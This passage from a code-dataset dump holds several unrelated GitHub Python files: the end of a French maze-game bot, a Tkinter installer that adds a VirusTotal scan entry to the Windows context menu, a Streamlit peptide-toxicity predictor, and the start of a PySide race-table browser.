0\n    strat_SYM(playerLocation, listOfCoins, turnTime, timeAllowed, playerCoin, coinList, dist1ncoin, dist1pcoin, playerPos)\n    \n\ndef strat_SYM(playerLocation, listOfCoins, turnTime, timeAllowed, playerCoin, coinList, dist1ncoin, dist1pcoin, playerPos):\n    \n    if playerPos == 2 or playerPos == 3:\n        if score[1] + len(coinList[2]+coinList[3]) >= VICTORY_CONDITION:\n            theCoinList = [ a[0] for a in coinList[2]+coinList[3] ]\n        elif len(coinList[2] + coinList[3]) < COIN_MIN_OPPONENT_SIDE:\n            theCoinList = [ a[0] for a in coinList[0]+coinList[1] ]\n        elif score[0] + len(coinList[0]+coinList[1]) < VICTORY_CONDITION:\n            theCoinList = [ a[0] for a in coinList[0]+coinList[1]+coinList[2]]\n        else :\n            theCoinList = listOfCoins\n    else :\n        theCoinList = listOfCoins\n        \n    strat_ANT(playerLocation, theCoinList, turnTime, timeAllowed, playerCoin )\n\n############################################################### montecarlo\n\ndef init_MTC(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins,startTurn) :\n    #do nothing\n    return\n\ndef nextmove_MTC(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins,turnTime, reworkPath, playerCoin) :\n    \n    return\n    \ndef strat_MTC(playerLocation, listOfCoins, turnTime, timeAllowed, opponentLocation):\n    timeline = []\n    while time.time() - turnTime < timeAllowed:\n        createway(playerLocation, opponentLocation, listOfCoins)\n        \ndef createway(playerLoc, opponentLoc, listOfCoins):\n    coinList = copy.copy(listOfCoins)\n    playerWay = []\n    opponentWay = []\n    pCumulatedDist = 0\n    oCumulatedDist = 0\n    while coinList:\n        pdist, prout = getdistrout(playerLoc, meta_graphe)\n        odist, orout = getdistrout(opponentLoc, meta_graphe)\n        \n        pcoin = coinList[ random.randint(0,len(coinList)) ]\n        ocoin = coinList[ random.randint(0,len(coinList)) ]\n        \n        \n        \n        if pcoin in playerWay and pcoin in opponentWay:\n            coinList.remove(pcoin)\n        if ocoin in playerWay and ocoin in opponentWay:\n            coinList.remove(ocoin)\n        \n    return\n\n############################################################### paquet bis\n\ndef classifyCoins(coin, coins):\n    \"\"\"crée la liste des paquets\"\"\"\n    #pour cela, il faut choisir une pièce et créer un paquet pour elle, puis regarder si ses voisins ne sont pas déjà dans un paquet\n    global classificationCoin\n    \n    typeCoin = 0\n    if classificationCoin[coin] != -2:\n        j = classificationCoin[coin]\n    \n    #on regarde toutes les pièces\n    for voisinCoin in [x for x in coins if x != coin]:\n        #si la distance entre la pièce de départ et la pièce considérée est suffisament petite\n        if distcoin[(voisinCoin,coin)] <= OPTIDISTPAQUET:\n            typeCoin = 2\n            #on élimine le cas où on considère la pièce de départ elle même\n            \n            #si la pièce considérée est déjà dans un paquet\n            if  classificationCoin[voisinCoin] != -2:\n                if not classificationCoin[voisinCoin] == classificationCoin[coin]:\n                    x = paquets.pop(j)\n                    i = classificationCoin[voisinCoin]\n                    debug(\"index i = \" + str(i) + \"\\npaquets = \" + str(paquets) + \"\\nlenght of paquets = \" + str(len(paquets)) + \"\\n\")\n                    for travelingCoin in x:\n                        classificationCoin[travelingCoin] = i\n                        paquets[i].append(travelingCoin)\n            #sinon...\n            else:\n                paquets[j].append(voisinCoin)\n                classificationCoin[voisinCoin] = j\n                cherchepaquet(voisinCoin, coins)\n        elif distcoin[(voisinCoin,coin)] < 10 and typeCoin ==0:\n            typeCoin = 1\n            \n    return typeCoin\n\ndef init_PAK(mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfCoins,startTurn) :\n    for coin in listOfCoins:\n        coinType[coin] = classifyCoins(coin, listOfCoins)\n    for coin in [x for x in coins if coinType[x] == 2]:\n        pakito[coin] = paquets[ classificationCoin[coin] ]\n    \n############################################################### anti copycat\n        \ndef update_copycat(playerLoc,opponentLoc):\n    global previous_position\n    previous_position[0].append(playerLoc)\n    previous_position[1].append(opponentLoc)\n    \ndef detect_copycat(mazeWidth, mazeHeight):\n    if previous_position[2] >= 2:\n        IsCopyCat = True\n    else :\n        compareList = trou(previous_position[1], 0)\n        if len(compareList)%5==4:\n            copy = True\n            for j in range(len(previous_position[0]) - 2):\n                if not getSymetric(mazeWidth, mazeHeight, previous_position[0][j]) == compareList[j]:\n                    copy = False\n        else :\n            copy = False\n            \n        if copy :\n            previous_position[2]+=1\n        if previous_position[2] >= 2:\n            IsCopyCat = True\n        else:\n            IsCopyCat = False\n    return IsCopyCat\n\ndef explode_copycat(playerLoc, mazeMap):\n    \"\"\"KABOOM\"\"\"\n    global directionList\n    global previous_position\n    trapPossible = False\n    for voisin in mazeMap[playerLoc]:\n        if voisin[1] == 10:\n            trapPossible = True\n    if trapPossible:\n        directionList = ['S'] + directionList\n        previous_position[2] = -1\n        previous_position[0] = []\n        previous_position[1] = []\n    \n    \n        \n####################################################################################################################################################################################################################################\n\n# This is where you should write your code to do things during the initialization delay\n# This function should not return anything, but should be used for a short preprocessing\n# This function takes as parameters the dimensions and map of the maze, the time it is allowed for computing, the players locations in the maze and the remaining coins locations\n# Make sure to have a safety margin for the time to include processing times (communication etc.)\n\ndef initializationCode (mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins) :\n    \n    startTurn = time.time()\n    #initialisation des variables de stratégies\n    global init_function\n    global nextmove_function\n    global strat_function\n    global strategy_vector\n    global previousCoins\n    init_function = [init_VCP, \"\", init_ZON, init_ANT, init_GLU, init_SYM]\n    nextmove_function = [nextmove_VCP, \"\", nextmove_ZON, nextmove_ANT, nextmove_GLU, nextmove_SYM]\n    strat_function = [strat_VCP, \"\", strat_ZON, strat_ANT,strat_GLU, strat_SYM]\n    strategy_vector = [VCPcoinMIN, PAQcoinMIN, ZONcoinMIN, ANTcoinMIN, GLUcoinMIN, SYMcoinMIN ]    \n    \n    previousCoins = copy.deepcopy(coins)\n\n    global largeurLabyrinthe\n    largeurLabyrinthe = mazeWidth\n    global meta_graphe\n    meta_graphe = shortenMap(mazeMap)\n    #initTime = time.time()\n    updateDistRoutplayers(playerLocation, opponentLocation)\n    #debug(\"end of distrout in \" + str((time.time() - initTime)*1000)+ \"ms\")\n    init_distcoin(playerLocation,coins)\n    #init_voyageurcommerce_paquets(playerLocation, coins)\n    #debug(\"end of general initialization in \" + str((time.time() - startTurn)*1000)+ \"ms\")\n    \n    if TYPEOFSTRATEGY == 3:\n        debug(\"ANT_POW_PATH = \" + str(ANT_POW_PATH) + \" and ANT_POW_VISIBILITY = \" + str(ANT_POW_VISIBILITY) + \"\\nand ANT_POW_PUT_PHERO = \" + str(ANT_POW_PUT_PHERO) )\n    \n    init_function[TYPEOFSTRATEGY](mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins,startTurn)\n    #debug(\"end of strategic initialization in \" + str((time.time() - startTurn)*1000)+ \"ms\\n\")\n    \n    \n####################################################################################################################################################################################################################################\n\n# This is where you should write your code to determine the next direction\n# This function should return one of the directions defined in the CONSTANTS section\n# This function takes as parameters the dimensions and map of the maze, the time it is allowed for computing, the players locations in the maze and the remaining coins locations\n# Make sure to have a safety margin for the time to include processing times (communication etc.)\n\ndef determineNextMove (mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, coins) :\n    \n    turnTime = time.time()\n    global aimedCoins\n    global directionList\n    global numberOfTurnSinceLastChangeOfDirection\n    \n    numberOfTurnSinceLastChangeOfDirection +=1\n    #debug( \"1aimed coins are in coins = \" + str([(coin in coins) for coin in aimedCoins]) )    \n    \n    playerGotCoinAlone = update_score(playerLocation, opponentLocation, coins)\n    if not previous_position[2] == -1:\n        update_copycat(playerLocation, opponentLocation)\n        detection = detect_copycat(mazeWidth, mazeHeight)\n        if detection:\n            explode_copycat(playerLocation,mazeMap)\n    \n    \n    updateDistRoutplayers(playerLocation, opponentLocation)\n    \n    if not opponentLocation == (-1,-1):\n        opponentCoin = nearestCoin(opponentMatriceDistances, coins)\n    playerCoin = nearestCoin(playerMatriceDistances, coins)\n    \n    listOfStrategicCoins = copy.copy(coins)\n    #vérifier que toutes les pièces visées sont présentes\n    if not(aimedCoins == []):\n        #si on a atteint notre cible, on passe à la suivante\n        while playerLocation in aimedCoins: \n            aimedCoins.remove(playerLocation)\n        if not opponentLocation == (-1,-1):\n            #si la pièce visée est trop proche de l'adversaire et innateignable\n            if playerMatriceDistances[opponentCoin] > opponentMatriceDistances[opponentCoin]:\n                #on ne va pas la chercher\n                listOfStrategicCoins.remove(opponentCoin)\n                directionList = []\n                \n    #recherche des pièces manquantes sur notre trajet\n    oneAimedCoinIsMissing = 0\n    for target in aimedCoins:\n        if target not in listOfStrategicCoins:\n            oneAimedCoinIsMissing = True\n            eatenCoin = target\n            aimedCoins.remove(eatenCoin)\n    if oneAimedCoinIsMissing and playerGotCoinAlone:\n        aimedCoins.remove(eatenCoin)\n        oneAimedCoinIsMissing = False\n    #s'il ne reste plus de pièces possibles d'aprs une stratégie normale, on revient à la liste de pièces habituelle\n    if listOfStrategicCoins == []:\n        listOfStrategicCoins = coins\n\n    #debug( \"2aimed coins are in coins = \" + str([(coin in coins) for coin in aimedCoins]) )\n    #debug( \"one aimed coin is missing = \" + str(oneAimedCoinIsMissing))\n    #debug(\"aimedCoins = \" + str(aimedCoins))\n    #debug(\"playerloc = \" + str(playerLocation))\n    #debug(\"opponentLocation = \" + str(opponentLocation) )\n    #debug(\"opponentCoin\" + str(opponentCoin))\n            \n    reworkPath = oneAimedCoinIsMissing or aimedCoins == []\n    #debug(\"before aimedCoins = \"+str(aimedCoins))\n    #debug(\"preparation of turn in \" + str((time.time() - turnTime)*1000)+ \"ms\")\n    #be sure we have enough coins befoore chosing a strategy\n    i = TYPEOFSTRATEGY\n    while strategy_vector[i] > len(listOfStrategicCoins):\n        i += 1\n        if i == len(strategy_vector):\n            i-=2\n            break\n    nextmove_function[i](mazeWidth, mazeHeight, mazeMap, timeAllowed, playerLocation, opponentLocation, listOfStrategicCoins, turnTime, reworkPath, playerCoin, opponentCoin)\n    #debug(\"end of turn strategy in \" + str((time.time() - turnTime)*1000)+ \"ms\")\n    #debug(\"now aimedCoins = \"+str(aimedCoins))\n\n    #PARASITAGE\n    if not opponentLocation == (-1,-1):\n        if playerMatriceDistances[opponentCoin] == opponentMatriceDistances[opponentCoin] and opponentCoin != aimedCoins[0]:\n            debug(\"parasitage !\")\n            aimedCoins = [opponentCoin] + aimedCoins\n            directionList = []\n    #recalcul de la trajectoire\n    if directionList == []:\n        nextAim = aimedCoins[0]\n        pathSolution = pathTracer(nextAim, playerLocation, playerMatriceRoutage)\n        directionList = directionMaker(pathSolution)\n    #si les calculs n'ont pas aboutis\n    if directionList == []:\n        nextmove = 'X'\n    else : \n        nextmove = directionList.pop(0)\n    \n    \n    debug(\"score opponent = \" + str(score[1]) + \" et odist = \" + str(opponentMatriceDistances[opponentCoin]) + \" et pdist = \" + str(playerMatriceDistances[opponentCoin]) )\n    \n    #if (score[0] >= 19.5 and playerMatriceDistances[playerCoin] == 1 ) or (score[1] >= 19.5 and opponentMatriceDistances[opponentCoin] == 1 ):\n     #   show_efficient_graph()\n    debug(\"end of turn in \" + str((time.time() - turnTime)*1000)+ \"ms\")\n    return nextmove\n\n####################################################################################################################################################################################################################################\n############################################################################################################# MAIN LOOP ############################################################################################################\n####################################################################################################################################################################################################################################\n\n# This is the entry point when executing this file\n# We first send the name of the team to the maze\n# The first message we receive from the maze includes its dimensions and map, the times allowed to the various steps, and the players and coins locations\n# Then, at every loop iteration, we get the maze status and determine a move\n# Do not edit this code\n\nif __name__ == \"__main__\" :\n    \n    # We send the team name\n    writeToPipe(TEAM_NAME + \"\\n\")\n    \n    # We process the initial information and have a delay to compute things using it\n    (mazeWidth, mazeHeight, mazeMap, preparationTime, turnTime, playerLocation, opponentLocation, coins, gameIsOver) = processInitialInformation()\n    initializationCode(mazeWidth, mazeHeight, mazeMap, preparationTime, playerLocation, opponentLocation, coins)\n    \n    # We decide how to move and wait for the next step\n    while not gameIsOver :\n        (playerLocation, opponentLocation, coins, gameIsOver) = processNextInformation()\n        if gameIsOver :\n            #show_efficient_graph()\n            break\n        nextMove = determineNextMove(mazeWidth, mazeHeight, mazeMap, turnTime, playerLocation, opponentLocation, coins)\n        writeToPipe(nextMove)\n    \n    \n\n####################################################################################################################################################################################################################################\n####################################################################################################################################################################################################################################\n","repo_name":"dimtion/jml","sub_path":"inputFiles/opponents/xavier/foumis.py","file_name":"foumis.py","file_ext":"py","file_size_in_byte":78644,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"15412372686","text":"import winreg\nimport tkinter as tk\nfrom tkinter import filedialog\nimport os\nimport shutil\nfrom tkinter import messagebox\n\ndef seleccionar_ruta():\n    ruta = filedialog.askdirectory()\n    ruta_text.set(ruta)\n\ndef instalar():\n    ruta = ruta_text.get() \n    if ruta != \"\":\n\n        ruta += \"/scan_virusTotal\"\n        # Verifica si el directorio ya existe\n        if not os.path.exists(ruta):\n            # Crea el directorio\n            try:\n                os.mkdir(ruta)\n                os.mkdir(ruta + \"/img/\")\n            except Exception as e:\n                messagebox.showerror(\"Error\", e)\n        elif not os.path.exists(ruta + \"/img\"):\n            os.mkdir(ruta + \"/img/\")\n\n        # Copiar cada archivo a la carpeta de destino\n        #shutil.copy2(\"./send_request.py\", ruta)\n        try:\n            shutil.copy2(\"./scan_virustotal.exe\", ruta)\n            archivos = os.listdir(\"./img\")\n            for imagen in archivos:\n                shutil.copy2(f\"./img/{imagen}\", f\"{ruta}/img/{imagen}\")\n\n        except Exception as e:\n                messagebox.showerror(\"Error\", f\"No se puedo instalar\\nIntente ejcuntado comeo eadministrador\\n{e}\")\n        \n        \n        ruta = ruta.replace(\"/\", \"\\\\\")\n\n        try:\n            clave_padre = winreg.OpenKey(winreg.HKEY_CLASSES_ROOT, r'*\\shell', 0, winreg.KEY_WRITE)\n            clave_name = winreg.CreateKey(clave_padre, 'Scan VirusTotal')\n\n            # Asignar el valor en la clave del registro\n            winreg.SetValueEx(clave_name, \"icon\", 0, winreg.REG_SZ ,f'{ruta}\\\\img\\\\tilde_azul.ico')\n            winreg.SetValue(clave_name, 'command', winreg.REG_SZ, f'{ruta}\\\\scan_virustotal.exe \"%V\"')\n        except Exception as e:\n                messagebox.showerror(\"Error\", f\"Se instalo pero no se modifico el menu contectual\\nIntente ejcuntado comeo eadministrador\\n{e}\")\n            \n        ventana.quit()\n    else:\n        seleccionar_ruta()\n\n# Crear la ventana principal\nventana = tk.Tk()\nventana.iconbitmap(\"img/tilde_azul.ico\")\nventana.title(\"Instalador\")\n\n# Variable de control para la ruta\nruta_text = tk.StringVar()\n\n# Etiqueta y caja de texto para la ruta\netiqueta_ruta = tk.Label(ventana, text=\"Ruta de instalación:\")\netiqueta_ruta.grid(row=0, column=0, padx=10, pady=10)\n\ncaja_ruta = tk.Entry(ventana, textvariable=ruta_text, width=50)\ncaja_ruta.grid(row=1, column=0, padx=10, pady=10)\n\n# Botón para seleccionar ruta\nboton_ruta = tk.Button(ventana, text=\"...\", command=seleccionar_ruta)\nboton_ruta.grid(row=1, column=1, padx=10, pady=10)\n\n# Botón de instalación\nboton_instalar = tk.Button(ventana, text=\"Instalar\", command=instalar)\nboton_instalar.grid(row=2, column=0, padx=10, pady=10)\n\n\n\n# Iniciar el bucle de eventos\nventana.mainloop()\n\n\n","repo_name":"Stradivariuskein/gui-virustotal","sub_path":"installer.pyw","file_name":"installer.pyw","file_ext":"pyw","file_size_in_byte":2720,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70294092353","text":"\r\n# libraries --------------------------------------------------------\r\nimport pickle\r\nfrom numpy.core.fromnumeric import shape\r\nimport streamlit as st\r\nimport SessionState\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom jinja2 import Environment, FileSystemLoader\r\nimport streamlit as st\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib as mpl\r\nfrom datetime import datetime\r\nfrom datetime import date\r\nimport dash\r\nimport dash_table\r\nimport dash_core_components as dcc\r\n\r\n# libraries for pfeature-feature calculations \r\nfrom Pfeature.pfeature import *\r\nfrom Pfeature.pfeature import aac_wp\r\nimport sys\r\nimport importlib\r\nimportlib.reload(sys)\r\nif sys.version[0] == '2':\r\n    importlib.reload(sys)\r\n    sys.setdefaultencoding(\"utf-8\")\r\nfrom six import StringIO\r\n\r\n# libraries for xgboost \r\nfrom sklearn.metrics import classification_report, accuracy_score\r\nimport xgboost\r\nfrom sklearn.metrics import accuracy_score\r\nfrom xgboost import XGBClassifier\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.model_selection import cross_val_score, KFold\r\nfrom sklearn import metrics\r\nfrom  sklearn.datasets import make_hastie_10_2\r\nfrom xgboost.sklearn import XGBClassifier\r\n\r\n\r\n# Set to use full page ----------------------------------------------\r\nst. set_page_config(layout=\"wide\")\r\n\r\n#title --------------------------------------------------------------\r\nst.title('Peptides Toxicity Prediction  -   多肽毒性预测')\r\n\r\nst.write('\\n')\r\nst.write('\\n')\r\n\r\n# Intro ------------------------------------------------------------\r\nst.markdown(\"<br>\", unsafe_allow_html=True)\r\n\"\"\"使用步骤:\\n\r\n1. 您可以选择直接粘贴fasta格式的多肽序列至下方文本框，或上传一个包含多肽序列的fasta文档。请注意，一次只能使用一种方式！ \\n\r\n2. 如果输入多肽可以被计算，“您的多肽特征已经计算完毕 ，准备开始预测毒性” 的指示将会出现。\r\n3. 多肽毒性预测的结果将会被显示在最下方，毒性越大，数字越大。如需下载结果，请点击最后的下载按钮。\r\n---\r\n\"\"\"\r\n\r\n# Global Variable ---------------------------------------------------\r\nstore_tol = []\r\nstore_text = []\r\nstore_sequence_in = []\r\nprocess_text = '多肽特征正在计算中...'\r\ninput_name = ''\r\n\r\n\r\n# Method 1: Input sequence -------------------------------------------\r\n\r\n# An example\r\ndefault_input_sequence = \">test seq 1 （有毒）|\\nEDGYLLNRDTGCKVSCGTCRYCND\"\r\nuser_input = st.text_area(\"◉ 方式1：请在下面的方框输入您的fasta格式多肽序列, 完成后请按 ctrl+C 或用鼠标点击屏幕空白处保存 （下方是一个案例序列）\", default_input_sequence)\r\n\r\n\r\n# file location\r\nfw = open(\"save_input_seq.fa\", 'w')\r\nsplit_input = user_input.split(\"\\n\") \r\nfor line in split_input:  \r\n    #write strings for views  \r\n    fw.write(line.rstrip(\"\\n\"))    \r\n    fw.write(\"\\n\") \r\n\r\nfw.close()\r\n\r\n#!!!!!!!!!!!!!!!!!!!!!目前还未解决 > 会变成自动格式的问题\r\nfor line in split_input:  \r\n    #write strings for views  \r\n    line_now = line.rstrip(\"\\n\")\r\n    store_tol.append(line_now)\r\n    #st.write(line_now)    \r\n\r\ninput_name = \"save_input_seq.fa\"\r\n\r\nst.write('\\n')\r\n\r\n# Method 1: Input a file directly --------------------------------------------------\r\nuploaded_file = st.file_uploader(\"◉ 方式2：请选择打开fasta格式（.fa）的文件夹/文件\")\r\nif uploaded_file is not None:\r\n    # To read file as bytes:\r\n    bytes_data = uploaded_file.getvalue()\r\n    # To convert to a string based IO:\r\n    stringio = StringIO(uploaded_file.getvalue().decode(\"utf-8\"))\r\n    # To read file as string:\r\n    string_data = stringio.read()\r\n\r\n    if uploaded_file is not None:\r\n        store_tol = []\r\n        store_text = []\r\n        store_sequence_in = []\r\n        # input_name = input_filename\r\n        # file1 = open(input_name, 'r')\r\n        # Lines = file1.readlines()\r\n\r\n        fw = open(\"save_input_file.fa\", 'w')\r\n\r\n        #st.write(type(split_input)) \r\n        split_input = string_data.split(\"\\n\")  \r\n        for line in split_input:  \r\n            #write strings for views  \r\n\r\n           line_now = line.rstrip(\"\\n\\t\")\r\n           if line_now[-1].isalpha() is False: \r\n               line_now = line_now[:-1]   \r\n           fw.write(line_now) \r\n           fw.write(\"\\n\") \r\n\r\n        fw.close()\r\n        input_name = \"save_input_file.fa\"\r\n     \r\n        for line in split_input:  \r\n        #write strings for views  \r\n            line_now = line.rstrip(\"\\n\\t\")\r\n            if line_now[-1].isalpha() is False: \r\n                line_now = line_now[:-1]\r\n            store_tol.append(line_now)\r\n        \r\n    else:\r\n        input_name = \"save_input_seq.fa\"\r\n\r\nst.write('\\n')\r\nst.write('\\n')\r\nst.write('您的输入为：\\n')\r\n\r\nfor line in split_input:  \r\n    #write strings for views  \r\n    line_now = line.rstrip(\"\\n\")\r\n    #store_tol.append(line_now)\r\n    st.write(line_now)   \r\n\r\n#文件必须要在跑这个streamlit app的同文件夹更深处\r\n# def file_selector(folder_path='.', target=\"文件夹/文件\"):\r\n#     filenames = [f for f in os.listdir(folder_path) if\r\n#                  not f[0] == \".\"]  # get file names from dir excluding hidden files\r\n#     selected_filename = st.selectbox(f'方式2：请选择打开fasta格式（.fa）的{target}', filenames)\r\n#     abs_path = os.path.join(folder_path, selected_filename)\r\n#     if os.path.isdir(abs_path):\r\n#         return file_selector(abs_path, target)\r\n#     return os.path.join(folder_path, selected_filename)\r\n\r\n# input_filename = file_selector()\r\n# st.write('已选择 `%s`' % input_filename)\r\n\r\n# button widget ---------------------------------------------------\r\n\r\nst.write('\\n')\r\nst.write('\\n')\r\nsession_state = SessionState.get(checkboxed=False)\r\nif st.button('点击开始预测毒性') or session_state.checkboxed:\r\n    session_state.checkboxed = True\r\n    st.write('\\n')\r\n    st.write('\\n')\r\n    st.write(process_text)\r\n\r\n    store_text = store_tol[0::2]\r\n    store_sequence_in = store_tol[1::2]\r\n\r\n    # Process data -------------------------------------------------------\r\n\r\n    # Amino-acid Composition\r\n    output_name_1 = \"save_input_seq_feature_AAC.csv\"\r\n    aac_wp(input_name, output_name_1)\r\n\r\n    # Amino-acid Composition of C-Terminal\r\n    output_name_21 = \"save_input_seq_feature_C5AAC.csv\"\r\n    aac_ct(input_name, output_name_21, 5)\r\n\r\n    # Amino-acid Composition of N-Terminal\r\n    output_name_22 = \"save_input_seq_feature_N5AAC.csv\"\r\n    aac_nt(input_name, output_name_22, 5)\r\n\r\n    # Dipeptide Composition\r\n    output_name_3 = \"save_input_seq_feature_DPC.csv\"\r\n    dpc_wp(input_name, output_name_3, 1)\r\n\r\n    # Tripeptide Composition\r\n    # output_name_4 = \"save_input_seq_feature_TPC.csv\"\r\n    # tpc_wp(input_name, output_name_4)\r\n\r\n    # Atom Composition\r\n    output_name_5 = \"save_input_seq_feature_ATC.csv\"\r\n    atc_wp(input_name, output_name_5)\r\n\r\n    #read file\r\n    f_1 = pd.read_csv(output_name_1) \r\n    f_21 = pd.read_csv(output_name_21) \r\n    f_22 = pd.read_csv(output_name_22) \r\n    f_3 = pd.read_csv(output_name_3) \r\n    #f_4 = pd.read_csv(output_name_4) \r\n    f_5 = pd.read_csv(output_name_5) \r\n\r\n    #concatenated dataframes\r\n    conc_df_1 = pd.concat([f_1, f_21], axis=1)\r\n    conc_df_2 = pd.concat([f_22, f_3], axis=1)\r\n    #conc_df_3 = pd.concat([f_4, f_5], axis=1)\r\n\r\n    tot_conc = pd.concat([conc_df_1, conc_df_2], axis=1)\r\n    tot_conc = pd.concat([tot_conc, f_5], axis=1)\r\n\r\n    #save file\r\n    tot_conc.to_csv('total_input_features.csv', header=True, index=False)\r\n\r\n    # Start Predictions----------------------------------------------\r\n    process_text = '您的多肽特征已经计算完毕 ，准备开始预测毒性... \\n'\r\n    st.write(process_text)\r\n\r\n    # load saved model\r\n    filename = 'finalized_model.sav'\r\n    clf = pickle.load(open(filename, 'rb'))\r\n\r\n    # load the features of the seqs that need to be predicted \r\n    X_test = pd.read_csv(\"total_input_features.csv\")\r\n    # get prediction result\r\n    size_result = X_test.size / 465\r\n    y_pred=clf.predict_proba(X_test).T[1]\r\n    y_pred = pd.to_numeric(y_pred)\r\n\r\n    st.write('您的多肽毒性已经预测完毕 ，结果如下： \\n')\r\n\r\n    y_print_id = y_pred\r\n    y_id = []\r\n    i = 0\r\n\r\n    # If need the prediction result to show the txt\r\n    # instead of the probabilty instead\r\n    # while i < size_result:\r\n    #     now_num = y_pred[i].item()\r\n    #     # st.write(type(now_num))\r\n    #     y_print_id[i] = i + 1\r\n    #     if now_num == 0:\r\n    #         y_print_result.append(\"无毒性\") \r\n    #         # y_print_result[i][1] = \"无毒性\"\r\n    #     else:\r\n    #         y_print_result.append(\"有毒性\")\r\n    #         # y_print_result[i][1] = \"有毒性\"\r\n    #     i = i + 1\r\n\r\n    # Unify the type of all data\r\n    while i < size_result:\r\n        y_id.append(i + 1)\r\n        now_num = y_pred[i].item()\r\n        y_pred[i] = float(\"{0:.5f}\".format(now_num)) \r\n        i = i + 1\r\n\r\n    store_text = np.array(store_text)\r\n    store_sequence_in = np.array(store_sequence_in)\r\n    # Concatenate data\r\n    test = np.stack((y_id, store_text, store_sequence_in, y_pred))\r\n    turn_test = test.T\r\n    # Store numpy data as dataframe\r\n    # (For future file-saving purposes)\r\n    store_as_df_0 = pd.DataFrame(turn_test)\r\n    store_as_df_0.columns =['序号', '多肽序号', '多肽序列', '预测结果']\r\n\r\n    # Plot the result -----------------------------------------------\r\n    import plotly.graph_objects as go\r\n\r\n    fig = go.Figure(data=[go.Table(\r\n        columnorder = [1,2,3,4],\r\n        columnwidth = [60,150,400,140],\r\n        header=dict(values=['<b>序号</b>', '<b>多肽序号</b>', '<b>多肽序列</b>', '<b>预测结果</b>']),\r\n                    cells=dict(values=test))\r\n                        ])\r\n\r\n    st.write(fig)\r\n\r\n    # Click button to save results as a csv file ----------------------\r\n    # Static state was used to save the results when\r\n    # clicking a button in button\r\n    if st.button('点击下载多肽毒性预测结果（.csv）'):\r\n        today = date.today()\r\n        now = datetime.now()\r\n        d4 = today.strftime(\"%m-%d-%Y\")\r\n        current_time = now.strftime(\"%H:%M:%S\")\r\n        dl_name = 'toxicity_pred_' + d4 + '_' + current_time + '.csv'\r\n        store_as_df_0.to_csv(dl_name,index=False, encoding='utf_8_sig')\r\n        string_print = '您的多肽毒性预测结果已经下载完毕 ，名字为： ' + dl_name\r\n        st.write(string_print)\r\n\r\n\r\n","repo_name":"XinAn316/toxic_prediction_app","sub_path":"toxic_pred_app.py","file_name":"toxic_pred_app.py","file_ext":"py","file_size_in_byte":10567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7541561810","text":"import os\nimport mariadb\nfrom PySide6.QtGui import *\nfrom PySide6.QtWidgets import *\nfrom PySide6.QtCore import *\nfrom PySide6.QtCore import Qt\n\nfrom split_view_layout import *\n\nfrom dataclasses import dataclass\n\n@dataclass\nclass DBRace():\n  id: int = 0\n  week: int = 0\n  date: str = \"\"\n  circuit: str = \"\"\n  number: int = 0\n\nclass RacesModel(QAbstractTableModel):\n  cursor: mariadb.Cursor\n  calendar_id: int = 1\n\n  _header = [\"Week\", \"Date\", \"Circuit\", \"Number\"]\n  _data: [DBRace] = []\n\n  def update(self):\n    self.beginResetModel()\n    self.cursor.execute(\"select race.ID, racedate.week, racedate.date, circuit.name, row_number() over (order by date) from race join racedate on race.raceDateID = racedate.ID join circuit on race.circuitID = circuit.ID where racedate.calendarID = ?\", (self.calendar_id,))\n    self._data = list()\n    for result in self.cursor.fetchall():\n      trans_res = list(result)\n      trans_res[2] = trans_res[2].strftime('%Y-%m-%d')\n      self._data.append(DBRace(*trans_res))\n    self.endResetModel()\n\n  def __init__(self, cursor):\n    super().__init__()\n    self.cursor = cursor\n    self.update()\n\n  def rowCount(self, index=0):\n    return len(self._data)\n\n  def columnCount(self, index=0):\n    return len(self._header)\n\n  def headerData(self, section, orientation, role):\n    if role == Qt.DisplayRole:\n      if orientation == Qt.Horizontal:\n        return self._header[section]\n      else:\n        return self._data[section].id\n\n  def data(self, index, role):\n    if role == Qt.DisplayRole:\n      race = self._data[index.row()]\n      return (\n        race.week,\n        race.date,\n        race.circuit,\n        race.number,\n      )[index.column()]\n\n  def set_calendar_id(self, calendar_id):\n    self.calendar_id = calendar_id\n    self.update()\n\nclass RaceBrowser(QWidget):\n  view: QTableView\n  model_table: RacesModel\n  model_proxy: QSortFilterProxyModel\n  parent_update_fn: callable\n  selected_race_id: int = 1\n  ignore_update: bool = False\n  temp_selection_index: int = 0\n\n  def update(self, cascade=True):\n    self.model_table.update()\n    self.ignore_update = True\n    self.view.selectRow(self.temp_selection_index)\n    self.ignore_update = False\n\n  def parent_update(self):\n    if self.parent_update_fn != None:\n      self.parent_update_fn()\n\n  def set_parent_update(self, fn):\n    self.parent_update_fn = fn\n\n  def set_calendar_id(self, calendar_id):\n    self.model_table.set_calendar_id(calendar_id)\n\n  def on_selection(self):\n    if self.ignore_update: return\n    rows = self.view.selectionModel().selectedRows()\n    if len(rows) == 0: return\n    row = rows[0].row()\n    self.temp_selection_index = row\n    index = self.model_proxy.mapToSource(self.model_proxy.index(row, 0))\n    new_race_id = self.model_table.headerData(index.row(), Qt.Vertical, Qt.DisplayRole)\n    if self.selected_race_id == new_race_id: return\n    self.selected_race_id = new_race_id\n    self.parent_update()\n\n  def __init__(self, cursor: mariadb.Cursor, parent=None):\n    super(RaceBrowser, self).__init__(parent)\n\n    self.cursor = cursor\n\n    self.view = QTableView()\n    self.view.setSelectionBehavior(QAbstractItemView.SelectRows)\n    self.model_table = RacesModel(self.cursor)\n    self.model_proxy = QSortFilterProxyModel()\n    self.model_proxy.setSourceModel(self.model_table)\n    self.view.setModel(self.model_proxy)\n    self.view.setSortingEnabled(True)\n    self.view.selectionModel().selectionChanged.connect(self.on_selection)\n\n    layout = QGridLayout();\n    